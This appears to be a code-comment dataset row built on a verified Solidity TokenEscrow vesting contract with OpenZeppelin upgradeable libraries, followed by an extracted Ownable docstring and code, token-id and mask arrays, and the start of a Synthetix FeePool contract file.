-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-23
*/
// SPDX-License-Identifier: MIT
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/[email protected]
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/math/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
// File @openzeppelin/contracts-upgradeable/math/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/TokenEscrow.sol
pragma solidity ^0.7.6;
/**
* @title TokenEscrow
*
* @dev An upgradeable token escrow contract for releasing Convergence tokens based on
* schedule.
*/
contract TokenEscrow is OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
event VestingScheduleAdded(address indexed user, uint256 amount, uint256 startTime, uint256 endTime, uint256 step);
event CliffAdded(address indexed user, uint256 amount, uint256 unlockTime);
event TokenVested(address indexed user, uint256 amount);
event CliffWithdrawn(address indexed user, uint256 amount);
/**
* @param amount Total amount to be vested over the complete period
* @param startTime Unix timestamp in seconds for the period start time
* @param endTime Unix timestamp in seconds for the period end time
* @param step Interval in seconds at which vestable amounts are accumulated
* @param lastClaimTime Unix timestamp in seconds for the last claim time
*/
struct VestingSchedule {
uint128 amount;
uint32 startTime;
uint32 endTime;
uint32 step;
uint32 lastClaimTime;
}
/**
* @param amount The amount of tokens to be withdrawn
* @param unlockTime Unix timestamp in seconds when the amount can be withdrawn
*/
struct Cliff {
uint128 amount;
uint32 unlockTime;
}
IERC20Upgradeable public token;
mapping(address => VestingSchedule) public vestingSchedules;
mapping(address => Cliff) public cliffs;
function getWithdrawableAmount(address user) external view returns (uint256) {
(uint256 withdrawableFromVesting, , ) = calculateWithdrawableFromVesting(user);
uint256 withdrawableFromCliff = calculateWithdrawableFromCliff(user);
return withdrawableFromVesting.add(withdrawableFromCliff);
}
function __TokenEscrow_init(IERC20Upgradeable _token) public initializer {
__Ownable_init();
require(address(_token) != address(0), "TokenEscrow: zero address");
token = _token;
}
function setVestingSchedule(
address user,
uint256 amount,
uint256 startTime,
uint256 endTime,
uint256 step
) external onlyOwner {
require(user != address(0), "TokenEscrow: zero address");
require(amount > 0, "TokenEscrow: zero amount");
require(startTime < endTime, "TokenEscrow: invalid time range");
require(step > 0 && endTime.sub(startTime) % step == 0, "TokenEscrow: invalid step");
require(vestingSchedules[user].amount == 0, "TokenEscrow: vesting schedule already exists");
// Overflow checks
require(uint256(uint128(amount)) == amount, "TokenEscrow: amount overflow");
require(uint256(uint32(startTime)) == startTime, "TokenEscrow: startTime overflow");
require(uint256(uint32(endTime)) == endTime, "TokenEscrow: endTime overflow");
require(uint256(uint32(step)) == step, "TokenEscrow: step overflow");
vestingSchedules[user] = VestingSchedule({
amount: uint128(amount),
startTime: uint32(startTime),
endTime: uint32(endTime),
step: uint32(step),
lastClaimTime: uint32(startTime)
});
emit VestingScheduleAdded(user, amount, startTime, endTime, step);
}
function setCliff(
address user,
uint256 amount,
uint256 unlockTime
) external onlyOwner {
require(user != address(0), "TokenEscrow: zero address");
require(amount > 0, "TokenEscrow: zero amount");
require(cliffs[user].amount == 0, "TokenEscrow: cliff already exists");
// Overflow checks
require(uint256(uint128(amount)) == amount, "TokenEscrow: amount overflow");
require(uint256(uint32(unlockTime)) == unlockTime, "TokenEscrow: unlockTime overflow");
cliffs[user] = Cliff({amount: uint128(amount), unlockTime: uint32(unlockTime)});
emit CliffAdded(user, amount, unlockTime);
}
function withdraw() external {
uint256 withdrawableFromVesting;
uint256 withdrawableFromCliff;
// Withdraw from vesting
{
uint256 newClaimTime;
bool allVested;
(withdrawableFromVesting, newClaimTime, allVested) = calculateWithdrawableFromVesting(msg.sender);
if (withdrawableFromVesting > 0) {
if (allVested) {
// Remove storage slot to save gas
delete vestingSchedules[msg.sender];
} else {
vestingSchedules[msg.sender].lastClaimTime = uint32(newClaimTime);
}
}
}
// Withdraw from cliff
{
withdrawableFromCliff = calculateWithdrawableFromCliff(msg.sender);
if (withdrawableFromCliff > 0) {
delete cliffs[msg.sender];
}
}
uint256 totalAmountToSend = withdrawableFromVesting.add(withdrawableFromCliff);
require(totalAmountToSend > 0, "TokenEscrow: nothing to withdraw");
if (withdrawableFromVesting > 0) emit TokenVested(msg.sender, withdrawableFromVesting);
if (withdrawableFromCliff > 0) emit CliffWithdrawn(msg.sender, withdrawableFromCliff);
token.transfer(msg.sender, totalAmountToSend);
}
function calculateWithdrawableFromVesting(address user)
private
view
returns (
uint256 amount,
uint256 newClaimTime,
bool allVested
)
{
VestingSchedule memory vestingSchedule = vestingSchedules[user];
if (vestingSchedule.amount == 0) return (0, 0, false);
if (block.timestamp < uint256(vestingSchedule.startTime)) return (0, 0, false);
uint256 currentStepTime =
MathUpgradeable.min(
block
.timestamp
.sub(uint256(vestingSchedule.startTime))
.div(uint256(vestingSchedule.step))
.mul(uint256(vestingSchedule.step))
.add(uint256(vestingSchedule.startTime)),
uint256(vestingSchedule.endTime)
);
if (currentStepTime <= uint256(vestingSchedule.lastClaimTime)) return (0, 0, false);
uint256 totalSteps =
uint256(vestingSchedule.endTime).sub(uint256(vestingSchedule.startTime)).div(vestingSchedule.step);
if (currentStepTime == uint256(vestingSchedule.endTime)) {
// All vested
uint256 stepsVested =
uint256(vestingSchedule.lastClaimTime).sub(uint256(vestingSchedule.startTime)).div(vestingSchedule.step);
uint256 amountToVest =
uint256(vestingSchedule.amount).sub(uint256(vestingSchedule.amount).div(totalSteps).mul(stepsVested));
return (amountToVest, currentStepTime, true);
} else {
// Partially vested
uint256 stepsToVest = currentStepTime.sub(uint256(vestingSchedule.lastClaimTime)).div(vestingSchedule.step);
uint256 amountToVest = uint256(vestingSchedule.amount).div(totalSteps).mul(stepsToVest);
return (amountToVest, currentStepTime, false);
}
}
function calculateWithdrawableFromCliff(address user) private view returns (uint256 amount) {
Cliff memory cliff = cliffs[user];
if (cliff.amount == 0) return 0;
return block.timestamp >= cliff.unlockTime ? uint256(cliff.amount) : 0;
}
} | * @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./ | abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
| 7,708,350 | [
1,
8924,
1605,
1492,
8121,
279,
5337,
2006,
3325,
12860,
16,
1625,
1915,
353,
392,
2236,
261,
304,
3410,
13,
716,
848,
506,
17578,
12060,
2006,
358,
2923,
4186,
18,
2525,
805,
16,
326,
3410,
2236,
903,
506,
326,
1245,
716,
5993,
383,
1900,
326,
6835,
18,
1220,
848,
5137,
506,
3550,
598,
288,
13866,
5460,
12565,
5496,
1220,
1605,
353,
1399,
3059,
16334,
18,
2597,
903,
1221,
2319,
326,
9606,
1375,
3700,
5541,
9191,
1492,
848,
506,
6754,
358,
3433,
4186,
358,
13108,
3675,
999,
358,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
14223,
6914,
10784,
429,
353,
10188,
6934,
16,
1772,
10784,
429,
288,
203,
565,
1758,
3238,
389,
8443,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
2416,
5541,
16,
1758,
8808,
394,
5541,
1769,
203,
203,
203,
565,
445,
1001,
5460,
429,
67,
2738,
1435,
2713,
12562,
288,
203,
3639,
1001,
1042,
67,
2738,
67,
4384,
8707,
5621,
203,
3639,
1001,
5460,
429,
67,
2738,
67,
4384,
8707,
5621,
203,
565,
289,
203,
203,
565,
445,
1001,
5460,
429,
67,
2738,
67,
4384,
8707,
1435,
2713,
12562,
288,
203,
3639,
1758,
1234,
12021,
273,
389,
3576,
12021,
5621,
203,
3639,
389,
8443,
273,
1234,
12021,
31,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
12,
2867,
12,
20,
3631,
1234,
12021,
1769,
203,
565,
289,
203,
203,
565,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
2583,
12,
8443,
1435,
422,
389,
3576,
12021,
9334,
315,
5460,
429,
30,
4894,
353,
486,
326,
3410,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
24899,
8443,
16,
1758,
12,
20,
10019,
203,
3639,
389,
8443,
273,
1758,
12,
20,
1769,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
5024,
1338,
5541,
288,
203,
3639,
2583,
12,
2704,
2
] |
/*
⚠⚠⚠ WARNING WARNING WARNING ⚠⚠⚠
This is a TARGET contract - DO NOT CONNECT TO IT DIRECTLY IN YOUR CONTRACTS or DAPPS!
This contract has an associated PROXY that MUST be used for all integrations - this TARGET will be REPLACED in an upcoming Synthetix release!
The proxy for this contract can be found here:
https://contracts.synthetix.io/ProxyFeePool
*//*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: FeePool.sol
*
* Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/FeePool.sol
* Docs: https://docs.synthetix.io/contracts/FeePool
*
* Contract Dependencies:
* - EternalStorage
* - IAddressResolver
* - IFeePool
* - LimitedSetup
* - MixinResolver
* - MixinSystemSettings
* - Owned
* - Proxyable
* - State
* Libraries:
* - SafeDecimalMath
* - SafeMath
* - VestingEntries
*
* MIT License
* ===========
*
* Copyright (c) 2022 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.16;
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/proxy
